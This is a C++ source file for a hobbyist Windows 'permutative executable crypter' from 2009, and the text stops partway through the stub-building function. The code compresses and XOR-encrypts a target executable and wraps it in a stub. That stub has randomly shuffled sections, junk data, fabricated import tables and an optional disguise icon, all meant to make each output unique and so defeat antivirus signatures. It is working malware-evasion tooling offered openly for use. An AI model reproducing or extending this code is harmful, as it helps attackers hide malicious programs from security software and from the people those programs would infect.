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main.cpp
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main.cpp
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////////////////////
// =8-D
//
// by me
//
// copyrly 2009
//
// permutative win32 executable crypter.
//
// generated files should always be unique.
//
// code that isn't mine is credited in the source if I knew who to credit.
//
// compile w/ MSVC, you will need to fuck with project settings to get it compile correctly.
// disable optimizations & exception handling.
//
// if u rip & not give creds i beat up ur mom, u 'nam? jk u.
////////////////////
/*
We are dealing with the best educated generation in history.
They are a hundred times better educated than their grandparents,
and ten times more sophisticated.
There has never been such an open-minded group.
The problem is that no one is giving them anything fresh.
They've got a brain dressed up with nowhere to go.
-Leary
*/
#include <windows.h>
#include "stub.cpp"
#include "aplib.h"
#include "engine.cpp"
void enc(BYTE* in, BYTE* out, DWORD size)
//encrypts a buffer.. kinda, but not really. just flips the high & low bits of each byte & xors against key.
{
while (size--)
{
*out = (*in << 4) + (*in >> 4);
*out = *out ^ *((BYTE*)&dwKey + (size % 4));
out++;
in++;
}
}
DWORD Align(DWORD dwValue, DWORD dwAlignment)
//Returns dwValue aligned to the next multiple of dwAlignment
//dwAlignment cannot be 0
{
if (dwAlignment && dwValue % dwAlignment)
return (dwValue + dwAlignment) - (dwValue % dwAlignment);
else
return dwValue;
}
typedef struct
{
LPVOID pCryptedData;
LPVOID pEOFData;
DWORD dwOrigSize;
DWORD dwCryptSize;
DWORD dwEOFSize;
} CRYPTEDFILE;
DWORD GetPhysicalPESize(LPVOID pMap)
//returns the physical size of a mapped PE (as indictated by headers) pointed to by pMap
{
PIMAGE_NT_HEADERS pNT;
PIMAGE_SECTION_HEADER pSections;
WORD i;
DWORD ret = 0;
pNT = (PIMAGE_NT_HEADERS)((char*)pMap + ((PIMAGE_DOS_HEADER)pMap)->e_lfanew);
pSections = (PIMAGE_SECTION_HEADER)((char*)&pNT->OptionalHeader + pNT->FileHeader.SizeOfOptionalHeader);
for (i = 0; i < pNT->FileHeader.NumberOfSections; i++)
{
if (pSections[i].PointerToRawData + pSections[i].SizeOfRawData > ret)
ret = pSections[i].PointerToRawData + pSections[i].SizeOfRawData;
}
return ret;
}
void PrepareFileDataForStub(LPCTSTR szFile, CRYPTEDFILE *Out)
//packs/encrypts a file and stores data in Out.
{
HANDLE hFile, hMap;
LPVOID pMap, workmem;
PIMAGE_DOS_HEADER pDOS;
PIMAGE_NT_HEADERS pNT;
memset_((BYTE*)Out, 0, sizeof(CRYPTEDFILE));
dwKey = rand();
hFile = CreateFile(szFile, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE && GetFileSize(hFile, NULL))
{
hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (hMap)
{
pMap = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
if (pMap)
{
pDOS = (PIMAGE_DOS_HEADER)pMap;
if (pDOS->e_magic == IMAGE_DOS_SIGNATURE)
{
pNT = (PIMAGE_NT_HEADERS)((char*)pDOS + pDOS->e_lfanew);
if (pNT->Signature == IMAGE_NT_SIGNATURE)
{
Out->dwOrigSize = GetPhysicalPESize(pMap);
if (Out->dwOrigSize)
{
Out->dwEOFSize = GetFileSize(hFile, NULL) - Out->dwOrigSize;
if ((LONG)Out->dwEOFSize >= 0)
{
Out->dwCryptSize = aP_max_packed_size(Out->dwOrigSize);
Out->pCryptedData = VirtualAlloc(NULL, Out->dwCryptSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (Out->pCryptedData)
{
if (Out->dwEOFSize)
{
Out->pEOFData = VirtualAlloc(NULL, Out->dwEOFSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
}
workmem = VirtualAlloc(NULL, aP_workmem_size(Out->dwCryptSize), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (workmem)
{
Out->dwCryptSize = aP_pack(pMap, Out->pCryptedData, Out->dwOrigSize, workmem, NULL, NULL);
if ((LONG)Out->dwCryptSize > 0 && Out->dwCryptSize <= Out->dwOrigSize)
{
VirtualFree(workmem, 0, MEM_RELEASE);
workmem = VirtualAlloc(NULL, Out->dwCryptSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
enc((BYTE*)Out->pCryptedData, (BYTE*)workmem, Out->dwCryptSize);
memcpy(Out->pCryptedData, workmem, Out->dwCryptSize);
}
VirtualFree(workmem, 0, MEM_RELEASE);
//eof data if there is any.
if (Out->dwEOFSize && Out->pEOFData)
{
memcpy(Out->pEOFData, (char*)pMap + Out->dwOrigSize, Out->dwEOFSize);
}
}
}
}
}
}
}
UnmapViewOfFile(pMap);
}
CloseHandle(hMap);
}
CloseHandle(hFile);
}
}
typedef struct
{
DWORD dwOldVA;
DWORD dwNewVA;
} STUBOFFSETS;
typedef struct
{
BYTE IsCodeOrData; //0 for code, 1 for data
BYTE FixVAs;
LPVOID pCodeData;
DWORD dwOldSize;
DWORD dwNewSize;
STUBOFFSETS Offsets;
} STUBCODEENTRY;
#define NUM_STUB_SECTIONS 6
STUBCODEENTRY stubsections[NUM_STUB_SECTIONS] = { 0 };
void PrepareStubSectionsInfo(CRYPTEDFILE* CryptedData)
//prepares structures that keep track of the code & data for the stub.
{
PIMAGE_DOS_HEADER pDOS;
PIMAGE_NT_HEADERS pNT;
PIMAGE_SECTION_HEADER pSections;
WORD i, x;
pDOS = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
pNT = (PIMAGE_NT_HEADERS)((char*)pDOS + pDOS->e_lfanew);
pSections = (PIMAGE_SECTION_HEADER)((char*)&pNT->OptionalHeader + pNT->FileHeader.SizeOfOptionalHeader);
for (i = 0, x = 0; i < pNT->FileHeader.NumberOfSections && x < NUM_STUB_SECTIONS; i++)
{
if (!memcmp(pSections[i].Name, ".loader", 7) || !memcmp(pSections[i].Name, ".sdata", 6) ||
!memcmp(pSections[i].Name, ".cnsts", 6))
{
stubsections[x].Offsets.dwOldVA = (DWORD)pDOS + pSections[i].VirtualAddress;
stubsections[x].FixVAs = 1;
stubsections[x].dwOldSize = pSections[i].Misc.VirtualSize;
//is code section or data section (section characteristics set by compiler)
if (pSections[i].Characteristics == 0xF0000020) //== code, data == 0xD0000040
{
stubsections[x].IsCodeOrData = 0;
stubsections[x].dwNewSize = 153600 + ((DWORD)rand() % 1048576);
stubsections[x].pCodeData = VirtualAlloc(NULL, stubsections[x].dwNewSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
}
else
{
stubsections[x].IsCodeOrData = 1;
stubsections[x].dwNewSize = pSections[i].Misc.VirtualSize;
stubsections[x].pCodeData = (LPVOID)stubsections[x].Offsets.dwOldVA;
}
x++;
}
}
//add files sections array.
for (i = 0; i < dwNumFiles; i++)
{
stubsections[x].dwNewSize = CryptedData[i].dwCryptSize;
stubsections[x].dwOldSize = stubsections[x].dwNewSize;
stubsections[x].FixVAs = 0;
stubsections[x].IsCodeOrData = 0; //place compressed files in code section.
stubsections[x].Offsets.dwOldVA = (DWORD)CryptedData[i].pCryptedData;
stubsections[x].Offsets.dwNewVA = 0;
stubsections[x++].pCodeData = CryptedData[i].pCryptedData;
}
//& FileInfo array
stubsections[x].dwNewSize = sizeof(FileInfo) * dwNumFiles;
stubsections[x].dwOldSize = stubsections[x].dwNewSize;
stubsections[x].FixVAs = 0;
stubsections[x].IsCodeOrData = 1;
stubsections[x].Offsets.dwOldVA = (DWORD)pFileArray;
stubsections[x].Offsets.dwNewVA = 0;
stubsections[x].pCodeData = pFileArray;
//& junk data section
stubsections[++x].dwNewSize = 5120 + (rand() % 5121);
stubsections[x].dwOldSize = stubsections[x].dwNewSize;
stubsections[x].FixVAs = 0;
stubsections[x].IsCodeOrData = 1;
stubsections[x].Offsets.dwOldVA = (DWORD)VirtualAlloc(NULL, stubsections[x].dwNewSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
stubsections[x].Offsets.dwNewVA = 0;
stubsections[x].pCodeData = (void*)stubsections[x].Offsets.dwOldVA;
for (BYTE* h = (BYTE*)stubsections[x].pCodeData; h < (BYTE*)stubsections[x].pCodeData + stubsections[x].dwOldSize; h++)
*h = (BYTE)rand();
}
void MixSections()
{
DWORD i = 1024;
WORD a, b;
STUBCODEENTRY tmp;
while (i--)
{
a = rand() % NUM_STUB_SECTIONS;
b = rand() % NUM_STUB_SECTIONS;
if (a == b)
{
i++;
continue;
}
tmp = stubsections[a];
stubsections[a] = stubsections[b];
stubsections[b] = tmp;
}
}
void MapStubSections(DWORD dwCodeSectionVA, DWORD dwDataSectionVA, CRYPTEDFILE *CryptedData)
//fixes va's in stub sections & file array.
{
DWORD dwCodeWritten = 0, dwDataWritten = 0;
WORD i = 25, x;
//mix sections.
while (i--)
MixSections();
//calc newva's for sections
for (i = 0; i < NUM_STUB_SECTIONS; i++)
{
if (stubsections[i].IsCodeOrData == 0)
{
stubsections[i].Offsets.dwNewVA = dwCodeSectionVA + dwCodeWritten;
dwCodeWritten += stubsections[i].dwNewSize;
}
else
{
stubsections[i].Offsets.dwNewVA = dwDataSectionVA + dwDataWritten;
dwDataWritten += stubsections[i].dwNewSize;
}
}
//pfileArray
for (i = 0; i < NUM_STUB_SECTIONS; i++)
{
for (x = 0; x < dwNumFiles; x++)
{
if (stubsections[i].pCodeData == CryptedData[x].pCryptedData)
{
pFileArray[x].dwAddress = stubsections[i].Offsets.dwNewVA;
break;
}
}
}
}
DWORD StubSectionsSize(BYTE bType)
//returns size of code, data or all stub sections depending on bType.
//bType can be:
//0 = total size of code sections
//1 = total size of data sections
//else = total size of all sections
{
DWORD i, ret = 0;
for (i = 0; i < NUM_STUB_SECTIONS; i++)
{
if (stubsections[i].IsCodeOrData == bType || bType > 1)
{
ret += stubsections[i].dwNewSize;
}
}
return ret;
}
DWORD OldVAToNewVA(DWORD OldVA)
{
WORD i = 0;
for (; i < NUM_STUB_SECTIONS; i++)
{
if (OldVA >= stubsections[i].Offsets.dwOldVA && OldVA <= stubsections[i].Offsets.dwOldVA + stubsections[i].dwOldSize)
{
return stubsections[i].Offsets.dwNewVA + (OldVA - stubsections[i].Offsets.dwOldVA);
}
}
return 0;
}
typedef struct
{
char* szName;
WORD UsedAlready;
} whatever;
whatever DLLNAMES[] = {
{ "KERNEL32.dll", 0 },
{ "USER32.dll", 0 },
{ "GDI32.dll", 0 },
{ "OLE32.dll", 0 },
{ "COMDLG32.dll", 0 },
{ "OLEAUT32.dll", 0 },
{ "SHELL32.dll", 0 }
};
LPVOID FakeImports(DWORD dwImportDataRVA, DWORD *dwOutSize, DWORD *dwIATSize, DWORD* dwImportsSize)
//makes a fake import section. probably useless. sounded good when i was high.
{
//imports structure:
//iat data (thunks pointing to names) //first thunk in imports sections
//..
//imports
//..
//imports.originalthunks (copy of iat data)
//..
//dll name x
//imports (by name) from x
//(repeat)
//..
DWORD dwTotalNames = 0, dwTotalLibs, we, *Names, *Functions, x;
WORD i, *Ordinals;
HMODULE hLib;
LPVOID pBuffer;
PIMAGE_THUNK_DATA pFirstThunks, pOriginalThunks;
PIMAGE_IMPORT_DESCRIPTOR pImports;
PIMAGE_IMPORT_BY_NAME pNamesStart, pNamesPtr, iter;
PIMAGE_EXPORT_DIRECTORY pExports;
//picks 2 to 5 entries from dllnames.
//randomly picks 10 to 20 (different) names from each entry
pBuffer = VirtualAlloc(NULL, *dwOutSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
dwTotalLibs = 2 + (rand() % 4);
we = dwTotalLibs;
while (we--)
{
x = 0;
do
{
i = rand() % (sizeof(DLLNAMES) / sizeof(whatever));
} while (DLLNAMES[i].UsedAlready && ++x < 1000);
if (x == 1000)
break;
DLLNAMES[i].UsedAlready = 10 + (rand() % 10);
dwTotalNames += DLLNAMES[i].UsedAlready;
}
if (we != (DWORD)-1 && we)
dwTotalLibs = we;
*dwIATSize = sizeof(IMAGE_THUNK_DATA) * (dwTotalNames + dwTotalLibs);
pFirstThunks = (PIMAGE_THUNK_DATA)pBuffer;
pImports = (PIMAGE_IMPORT_DESCRIPTOR)((char*)pFirstThunks + *dwIATSize);
pOriginalThunks = (PIMAGE_THUNK_DATA)((char*)pImports + (sizeof(IMAGE_IMPORT_DESCRIPTOR) * (dwTotalLibs + 1)));
pNamesStart = (PIMAGE_IMPORT_BY_NAME)Align(((DWORD)pOriginalThunks + *dwIATSize), 2);
we = dwTotalLibs;
while (we--)
{
x = 0;
do
{
i = rand() % (sizeof(DLLNAMES) / sizeof(whatever));
} while (!DLLNAMES[i].UsedAlready && ++x < 1000);
if (x == 1000)
break;
hLib = LoadLibrary(DLLNAMES[i].szName);
if (hLib)
{
pExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hLib + ((PIMAGE_NT_HEADERS)((DWORD)hLib + ((PIMAGE_DOS_HEADER)hLib)->e_lfanew))->OptionalHeader.DataDirectory[0].VirtualAddress);
if (pExports != (PIMAGE_EXPORT_DIRECTORY)hLib && pExports->NumberOfNames)
{
//write name, import descriptor
lstrcpy((LPTSTR)pNamesStart->Name, DLLNAMES[i].szName);
pImports->FirstThunk = dwImportDataRVA + ((DWORD)pFirstThunks - (DWORD)pBuffer);
pImports->Name = dwImportDataRVA + ((DWORD)pNamesStart->Name - (DWORD)pBuffer);
pImports->OriginalFirstThunk = dwImportDataRVA + ((DWORD)pOriginalThunks - (DWORD)pBuffer);
pNamesPtr = (PIMAGE_IMPORT_BY_NAME)Align(((DWORD)pNamesStart + 2 + lstrlen(DLLNAMES[i].szName) + 1), 2);
Names = (DWORD*)((DWORD)hLib + pExports->AddressOfNames);
Ordinals = (WORD*)((DWORD)hLib + pExports->AddressOfNameOrdinals);
Functions = (DWORD*)((DWORD)hLib + pExports->AddressOfFunctions);
//write thunks
//pick a random # (DLLNAMES[i].UsedAlready) of named api. (i assume hint in thunk data is supposed to be ordinals[x] value, but i have no idea really.)
do
{
x = rand() % pExports->NumberOfNames;
for (iter = pNamesStart; iter < pNamesPtr; iter = (PIMAGE_IMPORT_BY_NAME)Align(((DWORD)iter + 2 + lstrlen((LPCTSTR)iter->Name) + 1), 2))
{
if (iter->Hint == Ordinals[x])
{
x = (WORD)-1;
break;
}
}
if (x == (WORD)-1)
{
DLLNAMES[i].UsedAlready++;
continue;
}
pNamesPtr->Hint = Ordinals[x];
lstrcpy((LPTSTR)pNamesPtr->Name, (LPCTSTR)hLib + Names[x]);
pFirstThunks->u1.AddressOfData = dwImportDataRVA + ((DWORD)pNamesPtr - (DWORD)pBuffer);
*pOriginalThunks++ = *pFirstThunks++;
pNamesPtr = (PIMAGE_IMPORT_BY_NAME)Align(((DWORD)pNamesPtr + 2 + lstrlen((LPCTSTR)pNamesPtr->Name) + 1), 2);
} while (--DLLNAMES[i].UsedAlready);
pFirstThunks++;
pOriginalThunks++;
for (iter = pNamesStart; iter < pNamesPtr; iter = (PIMAGE_IMPORT_BY_NAME)Align(((DWORD)iter + 2 + lstrlen((LPCTSTR)iter->Name) + 1), 2))
{
iter->Hint = 0;
}
pImports++;
pNamesStart = pNamesPtr;
}
}
DLLNAMES[i].UsedAlready = 0;
}
*dwOutSize = (DWORD)pNamesPtr - (DWORD)pBuffer;
*dwImportsSize = *dwOutSize - *dwIATSize;
return pBuffer;
}
#pragma pack(1)
typedef struct
{
BYTE bWidth;
BYTE bHeight;
BYTE bColorCount;
BYTE bReserved;
WORD wPlanes;
WORD wBitCount;
DWORD dwBytesInRes;
DWORD dwImageOffset;
} ICONDIRENTRY, *LPICONDIRENTRY;
#pragma pack()
#pragma pack(1)
typedef struct
{
WORD idReserved;
WORD idType;
WORD idCount;
ICONDIRENTRY idEntries[1];
} ICONDIR, *LPICONDIR;
#pragma pack()
#pragma pack(1)
typedef struct
{
BYTE bWidth;
BYTE bHeight;
BYTE bColorCount;
BYTE bReserved;
WORD wPlanes;
WORD wBitCount;
DWORD dwBytesInRes;
WORD nID;
} GRPICONDIRENTRY, *LPGRPICONDIRENTRY;
#pragma pack()
#pragma pack(1)
typedef struct
{
WORD idReserved;
WORD idType;
WORD idCount;
GRPICONDIRENTRY idEntries[1];
} GRPICONDIR, *LPGRPICONDIR;
#pragma pack()
void* CreateIconResources(LPCTSTR szIcon, DWORD dwRsrcSectionRVA, DWORD *dwRsrcSize)
//creates a resource tree w/ a main icon.
{
HANDLE hIcon, hMap;
LPVOID pMap, pRet = NULL;
LPICONDIR lpIconDir;
LPGRPICONDIR lpGrpRsrc;
PIMAGE_RESOURCE_DIRECTORY pRsrcStart, pRsrcDir;
PIMAGE_RESOURCE_DIRECTORY_ENTRY pRsrcEntry;
PIMAGE_RESOURCE_DATA_ENTRY pRsrcData;
WORD i;
DWORD dwresdatasize, ressize;
hIcon = CreateFile(szIcon, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0, NULL);
if (hIcon != INVALID_HANDLE_VALUE)
{
hMap = CreateFileMapping(hIcon, NULL, PAGE_READONLY, 0, 0, NULL);
if (hMap)
{
pMap = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
if (pMap)
{
lpIconDir = (LPICONDIR)pMap;
if (lpIconDir->idType == 1 && lpIconDir->idCount)
{
lpGrpRsrc = (LPGRPICONDIR)malloc(6 + (sizeof(GRPICONDIRENTRY) * lpIconDir->idCount));
memcpy(lpGrpRsrc, lpIconDir, 6);
dwresdatasize = 6 + (sizeof(GRPICONDIRENTRY) * lpIconDir->idCount);
for (i = 0; i < lpIconDir->idCount; i++)
{
memcpy(&lpGrpRsrc->idEntries[i], &lpIconDir->idEntries[i], 12);
lpGrpRsrc->idEntries[i].nID = i + 1;
dwresdatasize += lpGrpRsrc->idEntries[i].dwBytesInRes;
}
ressize = sizeof(IMAGE_RESOURCE_DIRECTORY) + (sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY) * 2); //root dir & entries;
ressize += sizeof(IMAGE_RESOURCE_DIRECTORY) + (sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY) * lpGrpRsrc->idCount); //icon dir & entries
ressize += sizeof(IMAGE_RESOURCE_DIRECTORY) + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY); //grp_icon dir & entry
ressize += (sizeof(IMAGE_RESOURCE_DIRECTORY) + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)) * lpGrpRsrc->idCount; //icon subdirs & entries
ressize += sizeof(IMAGE_RESOURCE_DIRECTORY) + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY); //grp_icon subdir & entry
ressize += sizeof(IMAGE_RESOURCE_DATA_ENTRY) * lpGrpRsrc->idCount; //icon data entries
ressize += sizeof(IMAGE_RESOURCE_DATA_ENTRY); //grp icon data entry.
pRsrcStart = (PIMAGE_RESOURCE_DIRECTORY)VirtualAlloc(NULL, ressize + dwresdatasize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);//malloc(ressize);
//build rsrc tree.
memset(pRsrcStart, 0, ressize + dwresdatasize);
pRsrcStart->NumberOfIdEntries = 2;
pRsrcEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcStart + 1);
//icon main entry
pRsrcEntry[0].Name = 3;
pRsrcEntry[0].DataIsDirectory = 1;
pRsrcEntry[0].OffsetToDirectory = sizeof(IMAGE_RESOURCE_DIRECTORY) + (sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY) * 2);
//grp icon main entry
pRsrcEntry[1].Name = pRsrcEntry[0].Name + 11;
pRsrcEntry[1].DataIsDirectory = 1;
pRsrcEntry[1].OffsetToDirectory = pRsrcEntry[0].OffsetToDirectory + sizeof(IMAGE_RESOURCE_DIRECTORY) + (sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY) * lpGrpRsrc->idCount);
pRsrcDir = (PIMAGE_RESOURCE_DIRECTORY)(pRsrcEntry + 2);
//icon dir & entries
pRsrcDir->NumberOfIdEntries = lpGrpRsrc->idCount;
pRsrcEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcDir + 1);
for (i = 0; i < pRsrcDir->NumberOfIdEntries; i++)
{
pRsrcEntry[i].DataIsDirectory = 1;
pRsrcEntry[i].OffsetToDirectory = (DWORD)(((char*)(pRsrcEntry + pRsrcDir->NumberOfIdEntries) + sizeof(IMAGE_RESOURCE_DIRECTORY) + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)) - (char*)pRsrcStart) + ((sizeof(IMAGE_RESOURCE_DIRECTORY) + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)) * i);
pRsrcEntry[i].Name = i + 1;
}
//grp icon dir & entry
pRsrcDir = (PIMAGE_RESOURCE_DIRECTORY)(pRsrcEntry + i);
pRsrcEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcDir + 1);
pRsrcDir->NumberOfIdEntries = 1;
pRsrcEntry->Name = 1;
pRsrcEntry->DataIsDirectory = 1;
pRsrcEntry->OffsetToDirectory = (DWORD)((char*)(pRsrcEntry + 1) - (char*)pRsrcStart) + ((sizeof(IMAGE_RESOURCE_DIRECTORY) + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)) * lpGrpRsrc->idCount);
//icon sub-dirs & entries
pRsrcDir = (PIMAGE_RESOURCE_DIRECTORY)(pRsrcEntry + 1);
pRsrcEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcDir + 1);
for (i = 0; i < lpGrpRsrc->idCount; i++)
{
pRsrcDir->NumberOfIdEntries = 1;
pRsrcEntry->OffsetToData = (DWORD)((char*)pRsrcDir - (DWORD)pRsrcStart) + ((sizeof(IMAGE_RESOURCE_DIRECTORY) + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)) * ((lpGrpRsrc->idCount - i) + 1)) + (sizeof(IMAGE_RESOURCE_DATA_ENTRY) * i);//uhhh...
pRsrcEntry->Name = 0x0409;
pRsrcDir = (PIMAGE_RESOURCE_DIRECTORY)(pRsrcEntry + 1);
pRsrcEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcDir + 1);
}
//grp icon sub-dir & entry
pRsrcDir->NumberOfIdEntries = 1;
pRsrcEntry->Name = 0x0409;
pRsrcEntry->OffsetToData = (DWORD)((char*)(pRsrcEntry + 1) - (DWORD)pRsrcStart) + (sizeof(IMAGE_RESOURCE_DATA_ENTRY) * lpGrpRsrc->idCount);
//data entries
pRsrcData = (PIMAGE_RESOURCE_DATA_ENTRY)(pRsrcEntry + 1);
dwresdatasize = 0;
for (i = 0; i < lpGrpRsrc->idCount; i++)
{
pRsrcData[i].OffsetToData = dwRsrcSectionRVA + ressize + dwresdatasize;
pRsrcData[i].Size = lpGrpRsrc->idEntries[i].dwBytesInRes;
dwresdatasize += pRsrcData[i].Size;
}
pRsrcData += lpGrpRsrc->idCount;
pRsrcData->OffsetToData = dwRsrcSectionRVA + ressize + dwresdatasize;
pRsrcData->Size = 6 + (sizeof(GRPICONDIRENTRY) * lpGrpRsrc->idCount);
dwresdatasize += pRsrcData->Size;
//finished w/ tree, write data to buffer and done.
pRsrcData = (PIMAGE_RESOURCE_DATA_ENTRY)(pRsrcEntry + 1);
pRsrcData = (PIMAGE_RESOURCE_DATA_ENTRY)((char*)pRsrcData - (DWORD)pRsrcStart);
pRsrcData = (PIMAGE_RESOURCE_DATA_ENTRY)((char*)pRsrcData + (DWORD)pRsrcStart);
for (i = 0; i < lpGrpRsrc->idCount; i++)
{
pRsrcData[i].OffsetToData = pRsrcData[i].OffsetToData;
memcpy((char*)pRsrcStart + (pRsrcData[i].OffsetToData - dwRsrcSectionRVA), (char*)pMap + lpIconDir->idEntries[i].dwImageOffset, lpIconDir->idEntries[i].dwBytesInRes);
}
pRsrcData += lpGrpRsrc->idCount;
memcpy((char*)pRsrcStart + (pRsrcData->OffsetToData - dwRsrcSectionRVA), lpGrpRsrc, 6 + (sizeof(GRPICONDIRENTRY) * lpGrpRsrc->idCount));
//done, cleanup
free(lpGrpRsrc);
*dwRsrcSize = ressize + dwresdatasize;
pRet = pRsrcStart;
}
UnmapViewOfFile(pMap);
}
CloseHandle(hMap);
}
CloseHandle(hIcon);
}
return pRet;
}
void FixVAs(DWORD OldBase, DWORD ImgSize, DWORD NewBase)
//fix static va's in compiled stub code.
{
char *x;
WORD i, j;
for (i = 0; i < NUM_STUB_SECTIONS; i++)
{
if (stubsections[i].FixVAs == 0)
continue;
for (x = (char*)stubsections[i].Offsets.dwOldVA; x < (char*)stubsections[i].Offsets.dwOldVA + stubsections[i].dwOldSize; x++)
{
if (*(DWORD*)x >= OldBase && *(DWORD*)x < OldBase + ImgSize)
{
for (j = 0; j < NUM_STUB_SECTIONS; j++)
{
if (stubsections[i].FixVAs == 0)
continue;
if (*(DWORD*)x >= stubsections[j].Offsets.dwOldVA && *(DWORD*)x < stubsections[j].Offsets.dwOldVA + stubsections[j].dwOldSize) //oldsize
{
*(DWORD*)x -= stubsections[j].Offsets.dwOldVA;
*(DWORD*)x += NewBase + stubsections[j].Offsets.dwNewVA;
break;
}
}
}
}
}
}
DWORD WriteSectionsToFile(HANDLE hFile, BYTE bType)
//write sections to file.
{
WORD i;
DWORD ret = 0, dwbytes;
for (i = 0; i < NUM_STUB_SECTIONS; i++)
{
if (stubsections[i].IsCodeOrData == bType || bType > 1)
{
WriteFile(hFile, (LPCVOID)stubsections[i].pCodeData, stubsections[i].dwNewSize, &dwbytes, NULL);
ret += dwbytes;
}
}
return ret;
}
void BuildStub(LPCTSTR szOutput, CRYPTEDFILE* CryptedData)
//build stub.
{
LPVOID pMe;
IMAGE_DOS_HEADER stubDOS;
IMAGE_NT_HEADERS stubNT;
PIMAGE_SECTION_HEADER pstubSections;
WORD i, k;
LPVOID pImportData;
DWORD dwImportRawSize, dwIATSize, dwImportsSize, dwEP;
LPVOID pResData;
DWORD dwResSize;
BOOL bIcon = FALSE;
OPENFILENAME ofn;
char szIcon[MAX_PATH+1] = "\0";
memset(&ofn, 0, sizeof(OPENFILENAME));
ofn.lStructSize = sizeof(OPENFILENAME);
ofn.hInstance = GetModuleHandle(NULL);
ofn.lpstrFilter = "Icons\0*.ico\0\0";
ofn.lpstrFile = szIcon;
ofn.nMaxFile = MAX_PATH;
ofn.lpstrTitle = "Select Icon";
ofn.Flags = OFN_FILEMUSTEXIST;
char szDir[MAX_PATH+1];
if (MessageBox(0, "Add icon to crypted file?", "Icon", MB_YESNO | MB_ICONQUESTION) == IDYES)
{
GetCurrentDirectory(MAX_PATH, szDir);
if (GetOpenFileName(&ofn) != 0)
bIcon = TRUE;
SetCurrentDirectory(szDir);
}
pMe = GetModuleHandle(NULL);
stubDOS = *((PIMAGE_DOS_HEADER)pMe);
stubNT = *((PIMAGE_NT_HEADERS)((char*)pMe + stubDOS.e_lfanew));
memset(&stubNT.OptionalHeader.DataDirectory, 0, stubNT.OptionalHeader.NumberOfRvaAndSizes * sizeof(IMAGE_DATA_DIRECTORY));
//prepare stubNT data.
stubNT.FileHeader.NumberOfSections = 3;
if (bIcon)
stubNT.FileHeader.NumberOfSections++;
stubNT.FileHeader.TimeDateStamp = 0;// w\e do that shit later.
stubNT.OptionalHeader.CheckSum = 0; //CheckSumMappedFile, later.
stubNT.OptionalHeader.SectionAlignment = 0x1000;
while (stubNT.OptionalHeader.SectionAlignment > 0x200 && rand() % 3) //set new alignment
stubNT.OptionalHeader.SectionAlignment /= 2;
stubNT.OptionalHeader.FileAlignment = stubNT.OptionalHeader.SectionAlignment;
//new header size
stubNT.OptionalHeader.SizeOfHeaders = Align(stubDOS.e_lfanew + (sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + stubNT.FileHeader.SizeOfOptionalHeader) + (sizeof(IMAGE_SECTION_HEADER) * stubNT.FileHeader.NumberOfSections), stubNT.OptionalHeader.FileAlignment);
stubNT.OptionalHeader.SizeOfUninitializedData = 0;
//create section headers
pstubSections = (PIMAGE_SECTION_HEADER)VirtualAlloc(NULL, sizeof(IMAGE_SECTION_HEADER) * stubNT.FileHeader.NumberOfSections, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//.text (code)
//.rdata (imports)
//.data (data)
//.rsrc (resources, optional)
memcpy(pstubSections[0].Name, ".text", 5);
// pstubSections[0].Misc.VirtualSize = Align(StubSectionsSize(0), stubNT.OptionalHeader.SectionAlignment);
pstubSections[0].Misc.VirtualSize = StubSectionsSize(0);
pstubSections[0].Characteristics = 0x60000020;
pstubSections[0].PointerToRawData = Align(stubNT.OptionalHeader.SizeOfHeaders, stubNT.OptionalHeader.FileAlignment);
pstubSections[0].SizeOfRawData = Align(StubSectionsSize(0), stubNT.OptionalHeader.FileAlignment);
pstubSections[0].VirtualAddress = Align(stubNT.OptionalHeader.SizeOfHeaders, stubNT.OptionalHeader.SectionAlignment);
pstubSections[1].VirtualAddress = Align(pstubSections[0].VirtualAddress + pstubSections[0].Misc.VirtualSize, stubNT.OptionalHeader.SectionAlignment);
dwImportRawSize = 10240;
pImportData = FakeImports(pstubSections[1].VirtualAddress, &dwImportRawSize, &dwIATSize, &dwImportsSize);
memcpy(pstubSections[1].Name, ".rdata", 6);
// pstubSections[1].Misc.VirtualSize = Align(dwImportRawSize, stubNT.OptionalHeader.SectionAlignment);
pstubSections[1].Misc.VirtualSize = dwImportRawSize;
pstubSections[1].Characteristics = 0x40000040;
pstubSections[1].PointerToRawData = Align(pstubSections[0].PointerToRawData + pstubSections[0].SizeOfRawData, stubNT.OptionalHeader.FileAlignment);
pstubSections[1].SizeOfRawData = Align(dwImportRawSize, stubNT.OptionalHeader.FileAlignment);
memcpy(pstubSections[2].Name, ".data", 5);
// pstubSections[2].Misc.VirtualSize = Align(StubSectionsSize(1), stubNT.OptionalHeader.SectionAlignment);
